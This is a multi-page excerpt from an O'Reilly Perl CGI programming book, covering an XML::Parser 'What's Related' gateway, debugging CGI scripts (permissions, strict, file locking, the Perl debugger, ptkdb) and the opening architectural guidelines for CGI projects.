For each related URL, we print out "[*]" embedded in an <A> tag that will contain a reference to the script itself plus the current URL being passed to it as a search parameter. If one element of @related contains ["http://www.eff.org/", "The Electronic Frontier Foundation"] the resulting HTML would look like this:

<A HREF="whatsrelated.cgi?url=http://www.eff.org/" >[*]</A>
<A HREF="http://www.eff.org/">The Electronic Frontier Foundation</A>

This will let the user pursue the "What's Related" trail another step by running this script on the chosen URL. Immediately afterwards, the title ($_->[1]) is printed with a hypertext reference to the URL that the title represents ($_->[0]).

@subrelated contains the URLs that are related to the URL we just printed for the user ($_->[2]). If there are second-level related URLs, we can proceed to print them. The second-level related URL array follows the same format as the related URL array except that there is no third element containing further references to more related URLs. $_->[0] is the URL and $_->[1] is the title of the URL itself. If @subrelated is empty, the user is told that there are no related items to the URL that is currently being displayed.

Finally, we output the footer for the What's Related query results page. In addition, the user is presented with another text field in which they can enter in a new URL to search on.

The get_whats_related_to_whats_related subroutine contains logic to take a URL and construct a data structure that contains not only URLs that are related to the passed URL, but also the second-level related URLs. @related contains the list of what's related to the first URL.

Then, each record is examined in @related to see if there is anything related to that URL. If there is, the third element ($record->[2]) of the record is set to a reference to the second-level related URLs we are currently examining. Finally, the entire @related data structure is returned.

The get_whats_related subroutine returns an array of references to an array with two elements: a related URL and the title of that URL. The key to getting this information is to parse it from an XML document. $parser is the XML::Parser object that will be used to perform this task.

XML parsers do not simply parse data in a linear fashion. After all, XML itself is hierarchical in nature. There are two different ways that XML parsers can look at XML data.

One way is to have the XML parser take the entire document and simply return a tree of objects that represents the XML document hierarchy. Perl supports this concept via the XML::Grove module by Ken MacLeod. The second way to parse XML documents is using a SAX (Simple API for XML) style of parser. This type of parser is event-based and is the one that XML::Parser is based on.

The event based parser is popular because it starts returning data to the calling program as it parses the document. There is no need to wait until the whole document is parsed before getting a picture of how the XML elements are placed in the document. XML::Parser accepts a file handle or the text of an XML document and then goes through its structure looking for certain events. When a particular event is encountered, the parser calls the appropriate Perl subroutine to handle it on the fly.

For this program, we define a handler that looks for the start of any XML tag. This handler is declared as a reference to a subroutine called handle_start. The handle_start subroutine is declared further below within the local context of the subroutine we are discussing.

XML::Parser can handle more than just start tags. XML::Parser also supports the capability of writing handlers for other types of parsing events such as end tags, or even for specific tag names. However, in this program, we only need to declare a handler that will be triggered any time an XML start tag is encountered.

$data contains the raw XML code to be parsed. The get subroutine was previously imported by pulling the LWP::Simple module into the Perl script. When we pass WHATS_RELATED_URL along with the URL we are looking for to the get subroutine, get will go out on the Internet and retrieve the output from the "What's Related" web server.

You will notice that as soon as $data is collected, there is some additional manipulation done to it. XML::Parser will parse only well-formed XML documents. Unfortunately, the Netscape XML server sometimes returns data that is not entirely well-formed, so a generic XML parser has a little difficulty with it.

To get around this problem, we filter out potentially bad data inside of the tags. The regular expressions in the above code respectively transform ampersands, double-quotes, HTML tags, and stray < and > characters into well-formed counterparts. The last regular expression deals with filtering out non-ASCII characters.

Before parsing the data, we set the baseline global variables @RECORDS to the empty set and $RELATED_RECORDS to true (1).

Simply calling the parse method on the $parser object starts the parsing process. The $data variable that is passed to parse is the XML subject to be read. The parse method also accepts other types of data including file handles to XML files.

Recall that the handle_start subroutine was passed to the $parser object upon its creation. The handle_start subroutine that is declared within the get_whats_related subroutine is called by XML::Parser every time a start tag is encountered.

$expat is a reference to the XML::Parser object itself. $element is the start element name and %attributes is a hash table of attributes that were declared inside the XML element.

For this example, we are concerned only with tags that begin with the name "child" and contain the href attribute. In addition, the $href tag is filtered so any non-URL information is stripped out of the URL.

If there is no name attribute, or if the name attribute contains the phrase "Smart Browsing", or if there were no related records found previously for this URL, we do not want to add anything to the @RECORDS array. In addition, if the name attribute contains the phrase "no related", the $RELATED_RECORDS flag is set to false (0).

Otherwise, if these conditions are not met, we will add the URL to the @RECORDS array. This is done by making a reference to an array with two elements: the URL and the title of the URL. At the end of the subroutine, the compiled @RECORDS array is returned.

This program was a simple example of using a CGI program to pull data automatically from an XML-based server. While the What's Related server is just one XML server, it is conceivable that as XML grows, there will be more database engines on the Internet that deliver even more types of data. Since XML is the standard language for delivering data markup on the Web, extensions to this CGI script can be used to access those new data repositories.

More information about XML, DTD, RDF, and even the Perl XML::Parser library can be found at http://www.xml.com/. Of course, XML::Parser can also be found on CPAN.

Previous | Home | Next
14.4. Writing an XML Parser | Book Index | 15. Debugging CGI Applications
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Debugging CGI Applications (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

Chapter 15. Debugging CGI Applications

Contents:

Common Errors
Perl Coding Techniques
Debugging Tools

So far, we've discussed numerous CGI applications, ranging from the trivial to the very complex, but we haven't touched upon the techniques needed to debug them if something goes wrong. Debugging a CGI application is not much different than debugging any other type of application, because, after all, code is code. However, since a CGI application is run by a remote user across the network in a special environment created by the web server, it is sometimes difficult to pinpoint the problems.

This chapter is all about debugging CGI applications. First, we'll examine some of the common errors that developers generally come across when implementing CGI applications. These include incorrect server configuration, permission problems, and violations of the HTTP protocol. Then, we'll explore a few tips, tricks, and tools that will help us track down problems and develop better applications.

15.1. Common Errors

This section can serve as a checklist that you can use to diagnose common problems. Here is a list of common sources of errors:

Source of Problem | Typical Error Message
Application permissions | 403 Forbidden
The pound-bang line | 403 Forbidden
Line endings | 500 Internal Server Error
"Malformed" header | 500 Internal Server Error

Let's look at each of these in more detail.

15.1.1. Application Permissions

Typically, web servers are configured to run as nobody or another user with minimal access privileges. This is a great preventative step, and one that can possibly salvage your data in the case of an attack. Since the web server process does not have privileges to write to, read from, or execute files in directories that don't have "world" access, most of your data will stay intact.

However, this also create a few problems for us. First and foremost, we need to set the world execute bit on the CGI applications, so the server can execute them. Here's how you can check the permissions of your applications:

$ ls -l /usr/local/apache/cgi-bin/clock
-rwx------  1 shishir      3624 Oct 17 17:59 clock

The first field lists the permissions for the file. This field is divided into three parts: the privileges for the owner, the group, and the world (from left to right), with the first letter indicating the type of the file: either a regular file, or a directory. In this example, the owner has sole permission to read, write, and execute the program.

If you want the server to be able to execute this application, you have to issue the following command:

$ chmod 711 clock
-rwx--x--x  1 shishir      3624 Oct 17 17:59 clock*

The chmod command (change mode) modifies the permissions for the file. The octal code of 711 indicates read (octal 4), write (octal 2), and execute (octal 1) permissions for the owner, and execute permissions for everyone else.

That's not the end of our permission woes. We could run into other problems dealing with file permissions, most notably, the inability to create or update files. We will discuss this in Section 15.2, "Perl Coding Techniques" later in this chapter.

Despite configuring the server to recognize CGI applications and setting the execute permissions, our applications can still fail to execute, as you'll see next.

15.1.2. The Pound-Bang

If a CGI application is written in Perl, Python, Tcl, or another interpreted scripting language, then it must have a line at the very top that begins with a pound-bang, or #!, like this:

#!/usr/bin/perl -wT

We've seen this above every script throughout this book. When the web server recognizes a request for a CGI application, it calls the exec system function to execute the application. If the application is a compiled executable, the operating system will go ahead and execute it. However, if our application is a script of some sort, then the operating system will look at the first line to see what interpreter to use.

If your scripts are missing the pound-bang line, or if the path you specify is invalid, then you will get an error. On some systems, for example, perl is found at /usr/bin/perl, while on others it is found at /usr/local/bin/perl. On Unix systems, you can use either of the following commands to locate perl (depending on your shell):

$ which perl
$ whence perl

If neither of these commands work, then look for perl5 instead of perl. If you still cannot locate perl, then try either of the following commands. They return anything on your filesystem named perl, so they could return multiple results, and the find command will search your entire filesystem, so depending on the size of the filesystem, this could take a while:

$ locate perl
$ find / -name perl -type f -print 2>/dev/null

Another thing to keep in mind: if you have multiple interpreters (i.e., different versions) for the same language, make sure that your scripts reference the one you intend, or else you may see some mysterious effects. For example, on some systems, perl4 is still installed in addition to perl5. Test the path you use with the -v flag to get its version.

15.1.3. Line Endings

If you are working with a CGI script that downloaded from another site or edited with a different platform, then it is possible that the line endings do not match those of the current system. For example, perl on Unix will complain with multiple syntax errors if you attempt to run a file that is formatted for Windows. You can clean these files up with perl from the command line:

$ perl -pi -e 's/\r\n/\n/' calendar.cgi

15.1.4. "Malformed" Header

As we first discussed in Chapter 2, "The Hypertext Transport Protocol ", and Chapter 3, "The Common Gateway Interface", and have seen in all the examples since, all CGI applications must return a valid HTTP content-type header, followed by a newline, before the actual content, like this:

Content-type: text/html
(other headers)

(content)

If you fail to follow this format, then a typical 500 Server Error will ensue. The partial solution is to return all necessary HTML headers, including content type, as early on in the CGI application as possible. We will look at a very useful technique in the next section that will help us with this task.

However, there are other reasons why we may see such an error. If your CGI application generates errors that are printed to STDERR, these error messages may be returned to the web server before all of the header information. Because Perl buffers output to STDOUT, errors that occur after you have printed the headers may even cause this problem.

What's the moral? Make sure you check your application from the command line before you try to execute it from the Web. If you're using Perl to develop CGI applications, then you can use the -wcT switch to check for syntax errors:

$ perl -wcT clock.cgi
syntax error in file clock.cgi at line 9, at EOF
clock.cgi had compilation errors.

If there are warnings, but no errors, you may see the following:

$ perl -wcT clock.cgi
Name "main::opt_g" used only once: possible typo at clock.cgi line 5.
Name "main::opt_u" used only once: possible typo at clock.cgi line 6.
Name "main::opt_f" used only once: possible typo at clock.cgi line 7.
clock.cgi syntax OK

Pay attention to the warnings, as well. Perl's syntax checker has really improved over the years, and will alert you of many possible errors, such as using non existent variables, uninitialized variables, or file handles.

And finally, if there are no warnings or errors, you will see:

$ perl -wcT clock.cgi
clock.cgi syntax OK

To reiterate, make sure your application works from the command line before you even attempt to debug its functionality from the Web.

Previous | Home | Next
14.5. CGI Gateway to XML Middleware | Book Index | 15.2. Perl Coding Techniques
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Perl Coding Techniques (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

15.2. Perl Coding Techniques

In this section, we'll discuss programming techniques that will help us develop stable, bug-free applications. These techniques are easy to use, and using them can help you avoid bugs in the first place:

  • Always use strict.

  • Check the status of system calls.

  • Verify that each file open is successful.

  • Trap die.

  • Lock files.

  • Unbuffer the output stream when necessary.

  • Use binmode when necessary.

Let's review each of these in detail.

15.2.1. Use strict

You should use the strict pragma for any Perl script more than a few lines long, and for all CGI scripts. Simply place the following line at the top of your script:

use strict;

If an import list is not specified, strict generates errors if you use symbolic references, bareword identifiers as subroutines, or use variables that are not localized, fully qualified, or pre-defined using the vars argument.

Here are two snippets of code, one which will compile successfully under strict, and the other which will cause errors:

use strict;

$id = 2000;
$field = \$id;
print $$field;        ## Success, will print 2000

$field = "id";
print $$field;        ## Error!

Symbolic references are names of variables, used to get at the underlying object. In the second snippet above, we are trying to get at the value of $id indirectly. As a result, Perl will generate an error like the following:

Can't use string ("id") as a SCALAR ref while "strict refs" in use ...

Now, let's look at bareword subroutines. Take the following example:

use strict "subs";
greeting;
...
sub greeting
{
    print "Hello Friend!";
}

When Perl looks at the second line, it doesn't know what it is. It could be a string in a void context or it could be a subroutine or function call. When we run this code, Perl will generate the following error:

Bareword "greeting" not allowed while "strict subs" in use at simple line 3.
Execution of simple aborted due to compilation errors.

We can solve this in one of several ways. We can create a prototype, declare greeting as a subroutine with the subs module, use the & prefix, or pass an empty list, like so:

sub greeting;              ## prototype
use subs qw (greeting);    ## use subs

&greeting;                 ## & prefix
greeting(  );                ## null list

This forces us to be clear about the use of subroutines in our applications.

The last restriction that strict imposes on us involves variable declaration. You have probably run across source code where you're not sure if a certain variable is global, or local to a function or subroutine. By using the vars argument with strict, we can eliminate this guessing.

Here's a trivial example:

use strict "vars";
$soda = "Coke";

Since we haven't told Perl what $soda is, it will complain with the following error:

Global symbol "$soda" requires explicit package name at simple line 3.
Execution of simple aborted due to compilation errors.

We can solve this problem by using a fully qualified variable name, declaring the variable using the vars module, or localizing it with my, like so:

$main::soda = "Coke";    ## Fully qualified
use vars qw ($soda);     ## Declare using vars module
my $soda;                ## Localize

As you can see, the strict module imposes a very rigid environment for developing applications. But, that's a very nice and powerful feature, because it helps us track down a variety of bugs. In addition, the module allows for great flexibility as well. For example, if we know that a certain piece of code works fine, but will fail under strict, we can turn certain restrictions off, like so:

## code that passes strict
...
{
    no strict;    ## or no strict "vars";

    ## code that will not pass strict
}

All code within the block, delimited by braces, will have no restrictions.

With this type of flexibility and control, there is no reason why you should not be using strict to help you develop cleaner, bug-free applications.

15.2.2. Check Status of System Calls

Before we discuss anything in this section, here's a mantra to code by:

"Always check the return value of all the system commands, including open, eval, and system."

Since web servers are typically configured to run as nobody, or a user with minimal access privileges, we must be very careful when performing any file or system I/O. Take, for example, the following code:

#!/usr/bin/perl -wT

print "Content-type: text/html\n\n";
...
open FILE, "/usr/local/apache/data/recipes.txt";

while (<FILE>) {
    s/^\s*$/<P>/, next if (/^\s*$/);
    s/\n/<BR>/;
    ...
}

close FILE;

If the /usr/local/apache/data directory is not world readable, then the open command will fail, and we will end up with no output. This isn't really desirable, since the user will have no idea what happened.

A solution to this problem is to check the status of open:

...
open FILE, "/usr/local/apache/data/recipes.txt"
    or error ( $q, "Sorry, I can't access the recipe data!" );

print "Content-type: text/html\n\n";
...

If the open fails, we call a custom error function to return a nicely formatted HTML document and exit.

You need to follow the same process when creating or updating files, as well. In order for a CGI application to write to a file, it has to have write permissions on the file, as well as the directories in which the file resides.

Some of the more commonly used system functions include: open, close, flock, eval, and system. You should make it a habit to check the return value of such functions, so you can take preventative action.

15.2.3. Is It Open?

In various examples throughout the book, we've used the open function to create pipes to execute external applications and perform data redirection. Unfortunately, unlike in the previous section, there is no easy way to determine if an application is executed successfully within the pipe.

Here's a simple example that sorts some numerical data.

open FILE, "| /usr/local/gnu/sort"
    or die "Could not create pipe: $!";

print "Content-type: text/plain\n\n";

## fill the @data array with some numerical data
...

print FILE join ("\n", @data);
close FILE;

If we cannot create the pipe, which is almost never the case, we return an error. But, what if the path to the sort command is incorrect? Then, the user will not see any error, nor any reasonable output.

So, how do we determine if the sort command executes successfully? Unfortunately, due to the way the shell operates, the status of the command is available only after the file handle is closed.

Here's an example:

open FILE, "| /usr/local/gnu/sort"
    or die "Could not create pipe: $!";

### code ommitted for brevity
...

close FILE;

my $status = ($? >> 8);

if ( $status ) {
    print "Sorry! I cannot access the data at this time!";
}

Once the file handle is closed, Perl stores the actual return status in the $? variable. We determine the true status (i.e., or 1) by right shifting the actual status by eight bits.

There is also another, albeit less portable and reliable, method to determine the status of the pipe. This involves checking the PID of the child process, spawned by the open function:

#!/usr/bin/perl -wT

use strict;
use CGI;

my $q = new CGI;

my $pid    = open FILE, "| /usr/local/gnu/sort";
my $status = kill 0, $pid;

$status or die "Cannot open pipe to sort: $!";

## We're successful!
print $q->header( "text/plain" );
...

We use the kill function to send a signal of zero to the process created by the pipe. If the process is dead, which means the application within the pipe never got executed, the operating system returns a value of zero. As mentioned before, this technique is not 100% reliable, and will not work on all Unix platforms, but it's something you might want to try.

15.2.4. Trap die

Don't forget about our earlier discussion about die. If your code or a module that you call invokes Perl's die function, it will certainly trigger a 500 Internal Server Error unless you trap it. Use CGI::Carp to trap fatal calls and redirect the messages to the browser. Add this line to the top of your script:

use CGI::Carp qw( fatalsToBrowser );

Refer to Section 5.5, "Handling Errors" for more on CGI::Carp.

15.2.5. File Locking

If you find that you are losing data in your data files, or files are becoming corrupt, then you are probably not locking them. The Web is a multi-user environment and multiple users may access the same document or CGI application at the same time. Let's take a look at an example that doesn't perform any locking:

#!/usr/bin/perl -wT

use CGI;
use CGIBook::Error;

my $cgi      = new CGI;
my $email    = $cgi->param ("email")    || "Anonymous";
my $comments = $cgi->param ("comments") || "No comments";
...
open FILE, ">>/usr/local/apache/data/guestbook.txt"
    or error( $q, "Cannot add your entry to guestbook!");

print FILE "From $email: $comments\n\n";
close FILE;

print "Location: /generic/thanks.html\n\n";

Now, imagine a scenario where multiple users, say 100, access this application at the exact same time. What happens? A hundred CGI application processes all will try to write to the guestbook.txt file, and more than likely, we'll end up with data loss and corruption.

In order to solve the problem, we need to lock the file. Refer to Section 10.1.1, "Locking" for more details.

15.2.6. Unbuffer Output Stream

Sometimes, you may run into what seems like a very strange error where output doesn't appear in the order in which it is sent to standard output stream. This typically occurs when you call an external application to generate output.

For example, the following example might not work properly on all systems:

#!/usr/bin/perl -wT

print "Content-type: text/plain\n\n";
system "/bin/finger";

In what seems like a very bizarre error, the output from system can actually appear before the content type header. This is the result of buffering the standard output stream.

You can turn buffering off, like so:

$| = 1;

This forces Perl to flush the standard output stream buffers after every write.

15.2.7. Use binmode

On operating systems that distinguish between binary and text files, most notably Windows 95, NT, and the Macintosh, we have to be very careful, especially when returning binary output. For example, the following application creates a simple dynamic image:

#!/usr/bin/perl -wT

use GD;
use strict;

my $image = new GD::Image( 100, 100 );

my $white = $image->colorAllocate( 255, 255, 255 );
my $black = $image->colorAllocate( 0, 0, 0 );
my $red   = $image->colorAllocate( 255, 0, 0 );

$image->arc( 50, 50, 95, 75, 0, 360, $black );
$image->fill( 50, 50, $red );

print "Content-type: image/png\n\n";
print $image->png;

However, the output will result in a broken image if we run the application on a platform mentioned above. The solution is to use the binmode function to treat the resulting output as binary information:

## code omitted for brevity
...
binmode STDOUT;
print $image->png;

Previous | Home | Next
15. Debugging CGI Applications | Book Index | 15.3. Debugging Tools
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Debugging Tools (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

15.3. Debugging Tools

We've looked at what can cause common errors, but not everything is a common problem. If you are having problems and none of the earlier solutions helps, then you need to do some investigative work. In this section, we'll look at some tools to help you uncover the source of the problem. Briefly, here is an outline of the steps you can take:

  • Check the syntax of your scripts with the -c flag.

  • Check the web server's error logs.

  • Run your script from the command line.

  • Test the value of variables by dumping them to the browser.

  • Use an interactive debugger.

Let's review each in more detail.

15.3.1. Check Syntax

We mentioned this within one of the sections above, but it bears repeating again in its own section: if your code does not parse or compile, then it will never run correctly. So get in the habit of testing your scripts with the -c flag from the command line before you test them in the browser, and while you're add it, have it check for warnings too with the -w flag. Remember, if you use taint mode (and you are using taint mode with all of your scripts, right?), you also need to pass the -T flag to avoid the following error:

$ perl -wc myScript.cgi
Too late for "-T" option.

Therefore, use the -wcT combination:

perl -wcT calendar.cgi

This will either return:

Syntax OK

or a list of problems. Of course you should only use the -c flag from the command line and not add it to the pound-bang line in your scripts.

15.3.2. Check Error Logs

Typically, errors are printed to STDERR, and on some web servers anything that is printed to STDERR while a CGI script is running ends up in your server's error logs. Thus, you can often find all sorts of useful clues by scanning these logs when you have problems. Possible locations of this file with Apache are /usr/local/apache/logs/error_log or /usr/var/logs/httpd/error_log. Errors are appended to the bottom; you may want to watch the log as you test your CGI script. If you use the tail command with a -f option:

$ tail -f /usr/local/apache/logs/error_log

it will print new lines as they are written to the file.

15.3.3. Running Scripts from the Command Line

Once your scripts pass a syntax check, the next step is to try to run them from the command line. Remember that because CGI scripts receive much of their data from environment variables, you can set these manually yourself before you run your script:

$ export HTTP_COOKIE="user_id=abc123"
$ export QUERY_STRING="month=jan&year=2001"
$ export REQUEST_METHOD="GET"
$ ./calendar.cgi

You will see the full output of your script including any headers you print. This can be quite useful if you suspect your problem has to do with the headers you are sending.

If you are using Version 2.56 or previous of CGI.pm, it makes accepting form parameters much easier, by prompting for them when you run your script:

(offline mode: enter name=value pairs on standard input)

You can then enter parameters as name-value pairs separated by an equals sign. CGI.pm ignores whitespace and allows you to use quotes:

(offline mode: enter name=value pairs on standard input)
month = jan
year=2001

When you are finished, press the end-of-file character on your system (use Ctrl-D on Unix or Mac; use Ctrl-Z on Windows).

As of 2.57, CGI.pm no longer automatically prompts for values. Instead, you can pass parameters as arguments to your script (this works for previous versions, too):

$ ./calendar.cgi month=jan year=2001

If you prefer to have CGI.pm prompt you for input instead, you can still enable this in later versions by using the -debug argument with CGI.pm:

use CGI qw( -debug );

If you are working with a complex form, and it is too much work to manually enter parameters, then you can capture the parameters to a file to use offline by adding a few lines to the top of your script:

#!/usr/bin/perl -wT

use strict;
use CGI;

my $q = new CGI;

## BEGIN INSERTED CODE
open FILE, "> /tmp/query1" or die $!;
$q->save( \*FILE );
print $q->header( "text/plain" ), "File saved\n";
## END INSERTED CODE
.
.

Now you should have a file saved to /tmp/query1 which you can use from the command line. Remove the inserted code first (or comment it out for future use), then you can use the query file like this:

$ ./catalog.cgi < /tmp/query1

15.3.4. Dumping Variables

If you script runs correctly but it does not do what you expect, then you need to break it down into chunks to determine where it is failing. The simplest way to do this is to include a handful of print statements:

sub fetch_results {
print "Entering fetch_results( @_ )\n"; #DEBUG#
    .
    .

You may want to outdent these commands or place comments at the end so that it is easy to find and remove them when you are done.

If you are working with a complex Perl data structure, you can print it quite easily by using the Data::Dumper module. Simply add code like the following:

.
    .
use Data::Dumper;        #DEBUG#
print Dumper( $result ); #DEBUG#
    return $result;
}

The Dumper function will serialize your data structure into neatly indented Perl source code. If you want to look at this within an HTML page, be sure to enclose it within <PRE> tags or view the page source.

If you are outputting complex HTML, you may need to view the source in order to see whether your statements printed. It is often much easier to open a separate filehandle to your own log file and print your debugging commands there. In fact, you may want to develop your own module that provides a way to send debugging output to a common debug log file as well as a simple way to turn debugging mode on and off.

15.3.5. Debuggers

All the previous strategies help isolate bugs, but the best solution by far is to use debuggers. Debuggers allow you to interact with your program as it runs. You can monitor the program flow, watch the value of variables, and more.

15.3.5.1. The Perl debugger

If you invoke perl with the -d flag, you will end up in an interactive session. Unfortunately, this means that you can use the debugger only from the command line. This is not the traditional environment for CGI scripts, but it is not difficult to mimic the CGI environment, as we saw earlier. The best way to do this is to save a CGI object to a query file, initialize any additional environment variables you might need, such as cookies, and then run your CGI script like this:

$perl -dT calendar.cgi </tmp/query1

Loading DB routines from perl5db.pl version 1
Emacs support available.

Enter h or `h h' for help.

main::(Dev:Pseudo:7):	my $q = new CGI;
  DB<1>

The debugger can be intimidating at first, but it is very powerful. To help you get going, Table 15-1 shows a brief summary of all the basic commands you need to know to debug a script. You can debug all of your CGI scripts with just these commands, although there are many more features actually available. Practice walking through scripts that you know work in order to learn how to move around within the debugger. The debugger will not change your files, so you cannot damage a working script by typing a wrong command.

Complete documentation for the Perl debugger is available in the perldebug manpage, and a quick reference for the complete set of commands is available by typing h within the debugger.

Table 15-1. Basic Perl Debugger Commands

Command | Description
s | Step; Perl executes the line listed above the prompt, stepping into any subroutines; note that a line with multiple commands may take a few steps to evaluate.
n | Next; Perl executes the line listed above the prompt, stepping over any subroutines (they still run; Perl waits for them to finish before continuing).
c | Continue to the end of the program or the next break point, whichever comes first.
c 123 | Continue up to line 123; line 123 must contain a command (it cannot be a comment, blank line, the second half of a command, etc.).
b | Set a breakpoint at current line; breakpoints halt execution caused by c.
b 123 | Set a breakpoint at line 123; line 123 must contain a command (it cannot be a comment, blank line, the second half of a command, etc.).
b my_sub | Set a breakpoint at the first executable line of the my_sub sub.
d | Delete a breakpoint from the current line; takes same arguments as b.
D | Deletes all breakpoints.
x $var | Display the value of $var in list and scalar contexts; note that it will recurse down complex, nested data structures.
r | Return from the current sub; Perl finishes executing the current subroutine, displays the result, and continues at the next line after the sub.
l | List the next 10 lines of your script; this command can be used successively.
l 123 | List line 123 of your script.
l 200-300 | List lines 200 through 300 of your script.
l my_sub | List the first 10 lines of the my_sub sub.
q | Quit.
R | Restart the script in the debugger.

15.3.5.2. ptkdb

Another option is ptkdb (see Figure 15-1), the Perl/Tk debugger, which is available on CPAN as Devel-ptkdb. It allows you to debug your scripts with a graphical interface. It also allows you to debug your CGI interactively as they are running.

Figure 15-1. Debugging a CGI script with ptkdb

In order to use ptkdb, you need two things. First, you need access to an X Window server;[21] the X Window System is included with most Unix and compatible systems; commercial versions are available for other operating systems as well. Second, the web server must have Tk.pm module, available on CPAN, which requires Tk. Tk is a graphics toolkit that is typically distributed with the Tcl scripting language. You can obtain Tcl/Tk from http://www.scriptics.com/. For more information on using Perl with Tk via Tk.pm, refer to Learning Perl/Tk by Nancy Walsh (O'Reilly & Associates, Inc.).

[21]In the X Window System, you run an X Window server locally, which displays programs that you may execute remotely. The use of "server" in this context is sometimes confusing, since you typically use a client to interact with remote systems.

In order to debug a CGI script with ptkdb, begin your CGI scripts as follows:

#! /usr/bin/perl -d:ptkdb

sub BEGIN {
    $ENV{DISPLAY} = "your.machine.hostname:0.0" ;
}

You should replace your.machine.hostname with the hostname or IP address of your machine. You can use localhost if you are running an X Window session on the web server.

You also need to allow the web server to display programs on your X Window server. On Unix and compatible systems, you do so by adding the registering the hostname or IP address of the webserver with the xhost command:

$ xhost www.webserver.hostname
www.webserver.hostname being added to access control list

You can then access your CGI script via a browser, which should open a debugging window on your system. Note that your web browser may time out if you spend much time interacting with the debugger without your script producing output.

15.3.5.3. ActiveState Perl debugger

The final option is available only to Win32 users. ActiveState distributes a graphical Perl debugger with their Perl Development Kit (PDK), shown in Figure 15-2.

Figure 15-2. Debugging a CGI script with the ActiveState Perl debugger

Once installed, using the -d flag with perl invokes this debugger instead of the standard Perl debugger. It can also be invoked when running CGI scripts if you are logged into the web server.

You can obtain the PDK and corresponding documentation from ActiveState's web site at http://www.activestate.com/. The PDK is a commercial product, but as of the time this book was written, ActiveState offers a free seven-day trial.

Previous | Home | Next
15.2. Perl Coding Techniques | Book Index | 16. Guidelines for Better CGI Applications
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Guidelines for Better CGI Applications (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

Chapter 16. Guidelines for Better CGI Applications

Contents:

Architectural Guidelines
Coding Guidelines

Like many forms of programming, CGI programming with Perl is a balance between art and science. As an art form, Perl is such a uniquely expressive language that you have the freedom to accomplish the same tasks in many different ways. However, thinking of Perl as a science, you will want to choose methods based on balancing such real-world requirements as performance, security, and team development.

Furthermore, any program that is useful in one context will generally evolve to be useful in others. This requires that a program be flexible and have the capability to grow. Unfortunately, programs do not grow by themselves. They require the dreaded m-word: maintenance. Maintenance is usually difficult, but it can be made easier by taking steps to make sure that the code is readable as well as flexible.

Because of these concerns, seasoned CGI developers typically end up sticking to a set of guidelines that help their code live up to these expectations. In a corporate setting, these guidelines tend to become the standards through which teams of developers understand how to easily read the code that their neighbors produce.

16.1. Architectural Guidelines

The first step in learning any language consists of being able to accomplish small tasks without the compiler complaining. However, larger programs are made up of more than just syntactically correct statements. The details of how the small parts of a program fit together is just as important as making sure that those same small parts compile successfully.

In other words, a program is literally more than the sum of its parts. Attention must be paid to developing the program in order to accommodate design goals such as flexibility and future maintainability. Sometimes this is referred to as " programming in the large" or "strategic programming." This section emphasizes specific tips on how to architect a CGI application for these design goals.

16.1.1. Plan for Future Growth

Web sites may start small, but they typically grow and evolve over time. You may start out working on a small site without many developers where it is easy to coordinate work. However, as web sites grow and the staff that develops and supports the web site grows, it becomes more critical that it is designed well. Developers should have a development site where they can work on their own copies of the web site without affecting the production web server.

As web sites grow and multiple developers share work on projects, a system to track changes to your applications is crucial. If you are not using a revision control system, you should be planning for one. There are numerous commercial products available for revision control in addition to open source implementations of CVS and RCS. Supporting for a revision control system is an important consideration when making architectural decisions.

You can configure this a number of different ways. Here are a few examples:

  • Web developers share a common development web server. This is the simplest solution and can work for small groups but quickly becomes unwieldy for large projects. This does not support revision control at a user level, and there is no stable code base because everything is in flux. One developer would be unable to test a component with another developer's code while the second developer is making changes to that code.

  • Web developers have their own directory tree on the web server. In this example, each developer has a home directory on the web server and can access a copy of web server's contents beneath this directory. This is relatively easy to set up and works if HTML links are relative to the current directory. This supports revision control systems because developers can periodically check in (preferably stable) snapshots of their code. Other developers can update their directories with these snapshots and even develop code in parallel.

  • Web developers have their own copy of the web server running on a separate port. This requires the most configuration because the web server must be reconfigured each time a port is added for a developer. This works for all relative URLs, whether they contain full paths or paths relative to the current directory. This also supports revision control.

16.1.2. Use Directories to Organize Your Projects

CGI applications often consist of several related files, including one or more CGI scripts, HTML forms, template files -- if you are generating output with templates, data files, configuration files, etc. If your development system is separate from your production server (as it should be), then these systems may have different directory structures.

On your development system you should develop a directory structure that helps you organize this information easily. On systems that support pointers to directories,[22] it is a good idea to place all the files for a given CGI application within one directory. For example, if you had an web storefront application, you might store the components in subdirectories within /usr/local/projects/web_store like so:

[22]Such pointers could include symlinks on Unix or aliases on MacOS; Windows shortcuts are not transparent to applications and thus will not work in this context.

/usr/local/projects/web_store/
    cgi/
    conf/
    data/
    html/
    templates/

You could then create the following symlinks that map this content into the corresponding directories your web server uses:

/usr/local/apache/htdocs/web_store    -> /usr/local/projects/web_store/html/
/usr/local/apache/cgi-bin/web_store   -> /usr/local/projects/web_store/cgi/

You may also wish to add global directories for data, configuration, and template files:

/usr/local/apache/data/web_store      -> /usr/local/projects/web_store/conf/
/usr/local/apache/conf/web_store      -> /usr/local/projects/web_store/data/
/usr/local/apache/templates/web_store -> /usr/local/projects/web_store/templates/

Besides making it easier to locate all of the components that are part of the web store application, placing all of your content beneath a common directory such as /usr/local/projects/web_store makes it easier to manage this application with a revision control system.

Note that it is slower for the web server to follow a symlink than to stay in the document root, so this structure makes more sense on a development system than on a production system.

16.1.3. Use Relative URLs

Your web site will be most flexible if you use relative URLs instead of absolute URLs. In other words, do not include the domain name of your web server when you do not need to. If your development and production web servers have different names, you want your code to work on either system with very little reconfiguration.

Whether these relative URLs contain fully qualified paths or paths that are relative to the current directory depends on how you have configured your development system, as we previously discussed. However, primary navigation elements, such as navigation bars, almost always use fully qualified paths, so configuring your development environment to support this allows the development environment to better mirror the production environment.

16.1.4. Separate Configuration from Your Primary Code

Information that is likely to change in the program or that is dependent upon the environment should be placed in a separate setup file. With Perl, setup files are easy because you can write the file in Perl; they simply need to set one or more global variables. To access these variables in a CGI script, first use Perl's require function to import the configuration file.

